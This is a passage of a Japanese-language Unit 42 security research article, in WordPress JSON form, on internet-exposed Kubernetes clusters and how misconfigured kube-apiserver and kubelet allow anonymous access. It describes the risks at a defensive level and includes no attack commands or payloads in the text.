{"id":118655,"date":"2021-04-27T20:44:22","date_gmt":"2021-04-28T03:44:22","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=118655"},"modified":"2021-04-27T21:22:11","modified_gmt":"2021-04-28T04:22:11","slug":"unsecured-kubernetes-instances","status":"publish","type":"post","link":"https:\/\/unit42.paloaltonetworks.com\/ja\/unsecured-kubernetes-instances\/","title":{"rendered":"\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u4e0d\u5341\u5206\u306aKubernetes\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u306b\u60aa\u7528\u306e\u304a\u305d\u308c"},"content":{"rendered":"<h2>\u6982\u8981<\/h2>\n<p>Unit 42\u306e\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u306f2020\u5e7410\u6708\u304b\u30892021\u5e742\u6708\u307e\u3067\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u4e0a\u306e\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044Kubernetes\uff08k8s\u3068\u3082\uff09\u30af\u30e9\u30b9\u30bf\u3092\u5b9a\u671f\u7684\u306b\u30b9\u30ad\u30e3\u30f3\u3057\u3066\u5206\u6790\u3057\u3066\u304d\u307e\u3057\u305f\u3002Kubernetes\u30af\u30e9\u30b9\u30bf\u306e\u69cb\u6210\u4e0a\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306f\u5f37\u5316\u304c\u53ef\u80fd\u3067\u3001\u307e\u305f\u5fc5\u8981\u3067\u3082\u3042\u308a\u307e\u3059\u3002\u305d\u306e\u3088\u3046\u306b\u69cb\u6210\u3055\u308c\u3066\u3044\u306a\u3044\u5834\u5408\u3001IP\u3084\u30dd\u30fc\u30c8\u3001API\u3092\u77e5\u3063\u3066\u3044\u308c\u3070\u8ab0\u3067\u3082\u533f\u540d\u3067\u3053\u308c\u3089\u306e\u30af\u30e9\u30b9\u30bf\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u3066\u3057\u307e\u3044\u307e\u3059\u3002\u79c1\u305f\u3061\u306e\u30c1\u30fc\u30e0\u306e\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u304c\u7279\u5b9a\u3057\u305f\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044Kubernetes\u30af\u30e9\u30b9\u30bf\u306f2,100\u500b\u3042\u308a\u3001\u305d\u308c\u3089\u306f5,300\u500b\u306e\u30ce\u30fc\u30c9\u300131,340\u500b\u306eCPU\u300175,270\u500b\u306e\u30dd\u30c3\u30c9\u3067\u69cb\u6210\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044\u30af\u30e9\u30b9\u30bf\u306f\u3001E\u30b3\u30de\u30fc\u30b9\u3001\u91d1\u878d\u3001\u30d8\u30eb\u30b9\u30b1\u30a2\u306a\u3069\u306e\u30bb\u30af\u30bf\u306e\u7d44\u7e54\u306b\u3088\u3063\u3066\u904b\u7528\u3055\u308c\u3066\u304a\u308a\u3001\u3055\u307e\u3056\u307e\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c\u5b9f\u884c\u3055\u308c\u3066\u3044\u307e\u3059\u3002API\u30c8\u30fc\u30af\u30f3\u3084\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u8a8d\u8a3c\u60c5\u5831\u3001\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3001\u500b\u4eba\u60c5\u5831\uff08PII\uff09\u306a\u3069\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u5185\u306b\u306f\u8c4a\u5bcc\u306a\u8a08\u7b97\u30ea\u30bd\u30fc\u30b9\u3068\u5927\u91cf\u306e\u6a5f\u5bc6\u30c7\u30fc\u30bf\u304c\u3042\u308b\u3053\u3068\u304b\u3089\u3001\u3053\u308c\u3089\u306e\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044\u30af\u30e9\u30b9\u30bf\u306f\u3001\u653b\u6483\u8005\u306b\u3068\u3063\u3066\u306f\u3046\u307e\u307f\u306e\u591a\u3044\u30bf\u30fc\u30b2\u30c3\u30c8\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u79c1\u305f\u3061\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u304c\u898b\u3064\u3051\u305f\u6700\u5927\u306e\u30af\u30e9\u30b9\u30bf\u306b\u306f\u3001500\u500b\u3092\u8d85\u3048\u308b\u30ce\u30fc\u30c9\u30682,000\u500b\u3092\u8d85\u3048\u308b\u30a2\u30af\u30c6\u30a3\u30d6\u306a\u30dd\u30c3\u30c9\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>Unit 42\u306f\u3001\u3053\u308c\u3089\u306e\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044Kubernetes\u30af\u30e9\u30b9\u30bf\u306e\u4e00\u90e8\u3067\u30de\u30eb\u30a6\u30a7\u30a2\u3068\u60aa\u610f\u306e\u3042\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002\u79c1\u305f\u3061\u304c\u89b3\u6e2c\u3057\u305f\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u306e\u5927\u534a\u306f\u30b3\u30f3\u30c6\u30ca\u3068\u3057\u3066\u30dd\u30c3\u30c9\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u304c\u3001\u30db\u30b9\u30c8\u306b\u76f4\u63a5\u30c7\u30d7\u30ed\u30a4\u3055\u308c\u3066\u3044\u308b\u3082\u306e\u3082\u3042\u308a\u307e\u3057\u305f\u3002\u30b3\u30f3\u30c6\u30ca\u5316\u3055\u308c\u305f\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306f\u3059\u3079\u3066\u3001\u4ed6\u306e\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3068\u7570\u306a\u308b\u30d7\u30ed\u30bb\u30b9ID\u3001\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3001\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u3092\u4f7f\u7528\u3059\u308b\u5206\u96e2\u3055\u308c\u305f\u30ef\u30fc\u30af\u30b9\u30da\u30fc\u30b9\uff08<a href=\"https:\/\/docs.docker.com\/get-started\/overview\/#namespaces\">\u540d\u524d\u7a7a\u9593<\/a>\uff09\u5185\u3067\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u3053\u306e\u5206\u96e2\u3092\u30d0\u30a4\u30d1\u30b9\u3057\u3066\u57fa\u76e4\u3068\u306a\u308b\u30db\u30b9\u30c8\u306e\u30ea\u30bd\u30fc\u30b9\u306b\u30a2\u30af\u30bb\u30b9\u3057\u305f\u5834\u5408\u3001\u30af\u30e9\u30b9\u30bf\u3092\u30db\u30b9\u30c8\u3059\u308b\u30af\u30e9\u30a6\u30c9\u74b0\u5883\u306b\u3082\u30ea\u30b9\u30af\u304c\u751f\u3058\u307e\u3059\u3002\u3053\u306e\u30ec\u30d9\u30eb\u306e\u30a2\u30af\u30bb\u30b9\u304c\u3042\u308b\u5834\u5408\u3001\u8a8d\u8a3c\u60c5\u5831\u306e\u62bd\u51fa\u3084\u30ec\u30b8\u30b9\u30c8\u30ea\u306e\u4fb5\u5bb3\u3001\u30db\u30b9\u30c8\u306e\u30c7\u30fc\u30bf\u3068\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3078\u306e\u30a2\u30af\u30bb\u30b9\u306a\u3069\u3001\u6a2a\u65b9\u5411\u3084\u7e26\u65b9\u5411\u306e\u5c55\u958b\u304c\u53ef\u80fd\u3067\u3042\u308b\u3053\u3068\u3092\u79c1\u305f\u3061\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u306f\u5b9f\u8a3c\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044KubernetesAPI\u30b5\u30fc\u30d0\u30fc\u3068\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044Docker\u30c7\u30fc\u30e2\u30f3\u306b\u306f\u591a\u304f\u306e\u5171\u901a\u70b9\u304c\u3042\u308a\u307e\u3059\u3002\u8a2d\u5b9a\u3092\u8aa4\u308b\u3068\u3001\u653b\u6483\u8005\u306f\u305d\u3053\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u516c\u958bAPI\u3092\u60aa\u7528\u3057\u3066\u30b3\u30f3\u30c6\u30ca\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u5168\u4f53\u3092\u5236\u5fa1\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u4ee5\u524d\u306e\u8abf\u67fb\u3067\u306f\u3001\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044Docker\u30c7\u30fc\u30e2\u30f3\u3067\u591a\u6570\u3001\u60aa\u610f\u306e\u3042\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304c\u7279\u5b9a\u3055\u308c\u3066\u3044\u307e\u3059\uff08\u305f\u3068\u3048\u3070<a href=\"https:\/\/unit42.paloaltonetworks.jp\/graboid-first-ever-cryptojacking-worm-found-in-images-on-docker-hub\/\">Graboid<\/a>\u3001<a href=\"https:\/\/unit42.paloaltonetworks.jp\/cetus-cryptojacking-worm\/\">Cetus<\/a>\u3001<a href=\"https:\/\/unit42.paloaltonetworks.jp\/pro-ocean-rocke-groups-new-cryptojacking-malware\/\">Pro-Ocean<\/a>\u306a\u3069\uff09\u3002\u8208\u5473\u6df1\u304b\u3063\u305f\u306e\u306f\u3001\u4ee5\u524dDocker\u306b\u3064\u3044\u3066\u540c\u69d8\u306e\u8abf\u67fb\u3092\u5b9f\u65bd\u3057\u305f\u3055\u3044\u306b\u898b\u3089\u308c\u305f\u307b\u3069\u591a\u304f\u306e\u60aa\u610f\u306e\u3042\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304cKubernetes\u3067\u306f\u898b\u3089\u308c\u306a\u304b\u3063\u305f\u70b9\u3067\u3059\u3002<\/p>\n<p>\u4e00\u898b\u3059\u308b\u3068\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044Kubernetes\u30af\u30e9\u30b9\u30bf\u3067\u306f\u60aa\u610f\u306e\u3042\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u30ec\u30d9\u30eb\u304c\u4f4e\u3044\u3088\u3046\u306b\u898b\u3048\u307e\u3059\u304c\u3001Kubernetes\u3092\u5bfe\u8c61\u306b\u30aa\u30da\u30ec\u30fc\u30b7\u30e7\u30f3\u3092\u5c55\u958b\u3057\u3066\u3044\u308b\u653b\u6483\u8005\u306f\u3088\u308a\u4fa1\u5024\u306e\u9ad8\u3044\u30bf\u30fc\u30b2\u30c3\u30c8\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u4fb5\u5bb3\u3055\u308c\u305fKubernetes\u30af\u30e9\u30b9\u30bf\u306b\u306f\u3001\u306f\u308b\u304b\u306b\u591a\u304f\u306e\u30ea\u30bd\u30fc\u30b9\uff08CPU\u3001\u30e1\u30e2\u30ea\u3001\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\uff09\u3068\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30c7\u30fc\u30bf\u304c\u542b\u307e\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u305f\u3081\u3001\u6709\u80fd\u306a\u653b\u6483\u8005\u306f\u3001\u30b3\u30de\u30f3\u30c9&amp;\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\uff08C2\uff09\u30b5\u30fc\u30d0\u30fc\u3092\u7c21\u5358\u306b\u30db\u30b9\u30c8\u3057\u305f\u308a\u3001\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u3092\u69cb\u7bc9\u3057\u305f\u308a\u3001\u6a5f\u5bc6\u30c7\u30fc\u30bf\u3092\u76d7\u3093\u3060\u308a\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u3053\u306e\u305f\u3081\u79c1\u305f\u3061\u306f\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044Kubernetes\u3092\u30bf\u30fc\u30b2\u30c3\u30c8\u306b\u3059\u308b\u306a\u3044\u3057\u6d3b\u7528\u3059\u308b\u653b\u6483\u8005\u306f\u9060\u304b\u3089\u305a\u5897\u3048\u308b\u3082\u306e\u3068\u898b\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.jp\/prisma\/cloud\">Prisma Cloud<\/a>\u307e\u305f\u306f<a href=\"https:\/\/docs.paloaltonetworks.com\/cn-series\/10-0\/cn-series-deployment\/cn-series-firewall-for-kubernetes.html\">CN-Series<\/a>\u3092\u3054\u5229\u7528\u4e2d\u306e\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001\u3053\u306e\u8105\u5a01\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002Prisma Cloud\u306e<a href=\"https:\/\/docs.twistlock.com\/docs\/compute_edition\/compliance\/cis_benchmarks.html\">Kubernetes \u30d9\u30f3\u30c1\u30de\u30fc\u30af<\/a>\u3068<a href=\"https:\/\/docs.paloaltonetworks.com\/prisma\/prisma-cloud\/prisma-cloud-admin-compute\/runtime_defense\/runtime_defense_overview.html\">Runtime Defense<\/a>\u306f\u3001\u5b89\u5168\u3067\u306a\u3044\u69cb\u6210\u306b\u3064\u3044\u3066\u8b66\u544a\u3057\u3001\u30af\u30ea\u30d7\u30c8\u30b8\u30e3\u30c3\u30af\u306a\u3069\u306e\u60aa\u610f\u306e\u3042\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u691c\u51fa\u3067\u304d\u307e\u3059\u3002CN-Series\u306f\u60aa\u610f\u306e\u3042\u308b\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3092\u542b\u3080\u30b3\u30f3\u30c6\u30ca\u3092\u52b9\u679c\u7684\u306b\u691c\u51fa\u30fb\u5206\u96e2\u3059\u308b\u5b8c\u5168\u306aL7\u53ef\u8996\u6027\u3092\u63d0\u4f9b\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_118661\" aria-describedby=\"caption-attachment-118661\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2021\/04\/chart-1-jp.png\" rel=\"wpdevart_lightbox\"><img  class=\"wp-image-118661 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2021\/04\/chart-1-jp.png\" alt=\"\u56f31 \u516c\u958b\u3055\u308c\u3066\u3044\u308bKubernetes\u30af\u30e9\u30b9\u30bf\u4e0a\u3067\u7279\u5b9a\u3055\u308c\u305f\u30b3\u30f3\u30c6\u30ca\u3001\u30a4\u30e1\u30fc\u30b8\u3001\u30b7\u30fc\u30af\u30ec\u30c3\u30c8\u3001\u30c7\u30d7\u30ed\u30a4\u30e1\u30f3\u30c8\u306e\u6570\" width=\"900\" height=\"622\" \/><\/a><figcaption id=\"caption-attachment-118661\" class=\"wp-caption-text\">\u56f31 \u516c\u958b\u3055\u308c\u3066\u3044\u308bKubernetes\u30af\u30e9\u30b9\u30bf\u4e0a\u3067\u7279\u5b9a\u3055\u308c\u305f\u30b3\u30f3\u30c6\u30ca\u3001\u30a4\u30e1\u30fc\u30b8\u3001\u30b7\u30fc\u30af\u30ec\u30c3\u30c8\u3001\u30c7\u30d7\u30ed\u30a4\u30e1\u30f3\u30c8\u306e\u6570<\/figcaption><\/figure>\n<h2>\u8aa4\u3063\u3066\u8a2d\u5b9a\u3055\u308c\u305fKubernetes\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8<\/h2>\n<p>Kubernetes\u306f\u3001\u8907\u6570\u306e\u30ec\u30a4\u30e4\u3068\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u3067\u69cb\u6210\u3055\u308c\u308b\u975e\u5e38\u306b\u8907\u96d1\u306a\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u3067\u3059\u3002Kubernetes\u306f\u305d\u306e\u30e2\u30b8\u30e5\u30fc\u30eb\u5316\u3055\u308c\u305f\u8a2d\u8a08\u306e\u304a\u304b\u3052\u3067\u67d4\u8edf\u304b\u3064\u30b9\u30b1\u30fc\u30e9\u30d6\u30eb\u3067\u3001\u307b\u3068\u3093\u3069\u306e\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u3092\u500b\u5225\u306b\u69cb\u6210\u3057\u305f\u308a\u3001\u7279\u5b9a\u306e\u76ee\u7684\u306b\u3042\u308f\u305b\u3066\u4ea4\u63db\u3057\u305f\u308a\u3067\u304d\u307e\u3059\u3002\u305f\u3060\u3057\u3053\u306e\u8907\u96d1\u3055\u306f\u3001\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u3092\u9069\u5207\u306b\u4fdd\u8b77\u3059\u308b\u3053\u3068\u3082\u56f0\u96e3\u306b\u3057\u3066\u3044\u307e\u3059\u3002\u4ee5\u4e0b\u306e\u30bb\u30af\u30b7\u30e7\u30f3\u3067\u793a\u3059\u3088\u3046\u306b\u30011\u7b87\u6240\u8a2d\u5b9a\u30df\u30b9\u304c\u3042\u308b\u3060\u3051\u3067\u3001\u30b3\u30f3\u30c6\u30ca\u3084\u3001\u3068\u304d\u306b\u306f\u30af\u30e9\u30b9\u30bf\u307e\u3067\u3082\u304c\u4fb5\u5bb3\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>\u672c\u7a3f\u3067\u306f\u3001<a href=\"https:\/\/kubernetes.io\/docs\/reference\/command-line-tools-reference\/kube-apiserver\/\"><strong>kube-apiserver<\/strong><\/a> \uff08API\u30b5\u30fc\u30d0\u30fc\uff09\u3068<a href=\"https:\/\/kubernetes.io\/docs\/reference\/command-line-tools-reference\/kubelet\/#:~:text=The%20kubelet%20is%20the%20primary,object%20that%20describes%20a%20pod.\"><strong>kubelet<\/strong><\/a>\u3068\u3044\u30462\u3064\u306eKubernetes\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306b\u3064\u3044\u3066\u8aac\u660e\u3057\u307e\u3059\u3002\u3069\u3061\u3089\u3082RESTful API\u30b5\u30fc\u30d0\u30fc\u3068\u3057\u3066\u5b9f\u884c\u3055\u308c\u3001\u57fa\u76e4\u3068\u306a\u308b\u30b3\u30f3\u30c6\u30ca\u306e\u7ba1\u7406\u7528\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u53d7\u3051\u5165\u308c\u307e\u3059\u3002\u3053\u3053\u3067\u3053\u308c\u30892\u3064\u306e\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306b\u7126\u70b9\u3092\u5f53\u3066\u308b\u7406\u7531\u306f\u3001\u3053\u308c\u30892\u3064\u306e\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306f\u3059\u3079\u3066\u306eKubernetes\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u306b\u5b58\u5728\u3057\u3001\u8a2d\u5b9a\u3092\u8aa4\u308b\u3068\u30db\u30b9\u30c8\u306e\u4fb5\u5bb3\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u304b\u3089\u3067\u3059\u3002\u4eca\u56de\u306f\u3001\u8a8d\u8a3c\u306a\u3057\u3067\u30a2\u30af\u30bb\u30b9\u3067\u304d\u308b\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u4e0a\u306ekube-apiservers\u3068kubelet\u3092\u5206\u6790\u3057\u307e\u3059\u3002<\/p>\n<p><a href=\"https:\/\/kubernetes.io\/docs\/reference\/command-line-tools-reference\/kube-apiserver\/\">Kube-apiserver<\/a>\u306f\u3001\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u304b\u3089RESTful\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u53d7\u3051\u53d6\u308a\u3001\u305d\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u30b3\u30f3\u30c6\u30ca\u3001\u30dd\u30c3\u30c9\u3001\u307e\u305f\u306f\u30ce\u30fc\u30c9\u306b\u5bfe\u3059\u308b\u30aa\u30da\u30ec\u30fc\u30b7\u30e7\u30f3\u306b\u5909\u63db\u3059\u308bKubernetes\u30af\u30e9\u30b9\u30bf\u306e\u30d5\u30ed\u30f3\u30c8\u30a8\u30f3\u30c9\u3067\u3059\u3002Kubernetes\u3092\u4f7f\u7528\u3059\u308b\u3068\u3001\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306f\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u8a3c\u660e\u66f8\u3084\u30d9\u30a2\u30e9\u30fc\u30c8\u30fc\u30af\u30f3\u306a\u3069\u3092\u4f7f\u7528\u3057\u3066<a href=\"https:\/\/kubernetes.io\/docs\/reference\/access-authn-authz\/authentication\/#authentication-strategies\">\u8a8d\u8a3c\u3092\u884c\u3046<\/a>\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u533f\u540d\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u304cAPI\u30b5\u30fc\u30d0\u30fc\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u308b\u304b\u5426\u304b\u306f\u69cb\u6210\u3057\u3060\u3044\u3067\u3059\u3002\u7ba1\u7406\u8005\u306fAPI\u306e\u30b5\u30d6\u30bb\u30c3\u30c8\u3092<a href=\"https:\/\/kubernetes.io\/docs\/reference\/access-authn-authz\/authentication\/#anonymous-requests\">\u533f\u540d\u30e6\u30fc\u30b6\u30fc<\/a>\u306b\u5bfe\u3057\u3066\u516c\u958b\u3057\u3066\u3057\u307e\u3046\u3053\u3068\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u3059\u3079\u3066\u306e\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c\u305d\u3053\u304b\u3089\u7279\u5b9a\u306e\u30c7\u30fc\u30bf\u3092\u8aad\u307f\u53d6\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002\u73fe\u5728\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u306eKubernetes\u306e\u5b9f\u88c5\u3067\u306f\u3001\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u30e6\u30fc\u30b6\u30fc\u306f\u5236\u9650\u4ed8\u304d\u306e<a href=\"https:\/\/kubernetes.io\/docs\/reference\/access-authn-authz\/authentication\/#anonymous-requests\">API\u60c5\u5831<\/a>\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>kube-apiserver\u306e\u5168API\u306f\u3001\u305d\u306e<a href=\"https:\/\/kubernetes.io\/docs\/reference\/generated\/kubernetes-api\/v1.19\/\">API\u30ea\u30d5\u30a1\u30ec\u30f3\u30b9<\/a>\u306b\u8a73\u3057\u304f\u307e\u3068\u3081\u3089\u308c\u3066\u3044\u307e\u3059\u3002\u56f32\u306f\u3001curl\u3092\u4f7f\u7528\u3057\u3066API\u30b5\u30fc\u30d0\u30fc\u306b\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1\u3059\u308b\u4f8b\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u56f33\u306f\u3001<a href=\"https:\/\/kubernetes.io\/docs\/reference\/kubectl\/overview\/\">kubectl<\/a>\u3092\u4f7f\u7528\u3057\u3066\u540c\u3058\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u4f5c\u6210\u3057\u305f\u4f8b\u3067\u3059\uff08kubectl\u306fKubernetes\u30b3\u30df\u30e5\u30cb\u30c6\u30a3\u304c\u7ba1\u7406\u3059\u308b\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u30c4\u30fc\u30eb\u3067\u3059\uff09\u3002\u4f8b\u306b\u793a\u3057\u305fAPI\u306f\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u306f\u533f\u540d\u30e6\u30fc\u30b6\u30fc\u306b\u516c\u958b\u3055\u308c\u3066\u3044\u306a\u3044\u3053\u3068\u306b\u6ce8\u610f\u3057\u3066\u304f\u3060\u3055\u3044\u3002\u3053\u3053\u3067\u306f\u30c7\u30e2\u306e\u305f\u3081\u3001\u533f\u540d\u30e6\u30fc\u30b6\u30fc\u306b\u591a\u304f\u306e\u6a29\u9650\u3092\u30d0\u30a4\u30f3\u30c9\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_118630\" aria-describedby=\"caption-attachment-118630\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-118631 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2021\/04\/word-image-88.png\" alt=\"\u56f32 curl\u3092\u4f7f\u7528\u3057\u3066\u533f\u540d\u3067kube-apiserver\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\" width=\"900\" height=\"281\" \/><figcaption id=\"caption-attachment-118630\" class=\"wp-caption-text\">\u56f32 curl\u3092\u4f7f\u7528\u3057\u3066\u533f\u540d\u3067kube-apiserver\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b<\/figcaption><\/figure>\n<figure id=\"attachment_118633\" aria-describedby=\"caption-attachment-118633\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-118633 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2021\/04\/word-image-89.png\" alt=\"\u56f33 kubectl\u3092\u4f7f\u7528\u3057\u3066\u533f\u540d\u3067kube-apiserver\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308bkubectl\u306f\u533f\u540d\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1\u3059\u308b\u305f\u3081\u306b\u30c0\u30df\u30fc\u306e\u30e6\u30fc\u30b6\u30fc\u540d\u3068\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5fc5\u8981\u3068\u3059\u308b\u3053\u3068\u306b\u6ce8\u610f\" width=\"900\" height=\"280\" \/><figcaption id=\"caption-attachment-118633\" class=\"wp-caption-text\">\u56f33 kubectl\u3092\u4f7f\u7528\u3057\u3066\u533f\u540d\u3067kube-apiserver\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308bkubectl\u306f\u533f\u540d\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1\u3059\u308b\u305f\u3081\u306b\u30c0\u30df\u30fc\u306e\u30e6\u30fc\u30b6\u30fc\u540d\u3068\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5fc5\u8981\u3068\u3059\u308b\u3053\u3068\u306b\u6ce8\u610f<\/figcaption><\/figure>\n<p><a href=\"https:\/\/kubernetes.io\/docs\/reference\/command-line-tools-reference\/kubelet\/#:~:text=The%20kubelet%20is%20the%20primary,object%20that%20describes%20a%20pod.\">kubelet<\/a>\u306fKubernetes\u30af\u30e9\u30b9\u30bf\u5185\u306e\u3059\u3079\u3066\u306e\u30ce\u30fc\u30c9\u4e0a\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u30a8\u30fc\u30b8\u30a7\u30f3\u30c8\u3067\u3059\u3002\u3055\u307e\u3056\u307e\u306a\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\uff08\u4e3b\u306bkube-apiserver\uff09\u304b\u3089RESTful\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u53d7\u3051\u53d6\u3063\u3066\u30dd\u30c3\u30c9\u30ec\u30d9\u30eb\u306e\u30aa\u30da\u30ec\u30fc\u30b7\u30e7\u30f3\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306f\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u8a3c\u660e\u66f8\u307e\u305f\u306f\u30d9\u30a2\u30e9\u30fc\u30c8\u30fc\u30af\u30f3\u3092\u4f7f\u7528\u3057\u3066kubelet\u3067<a 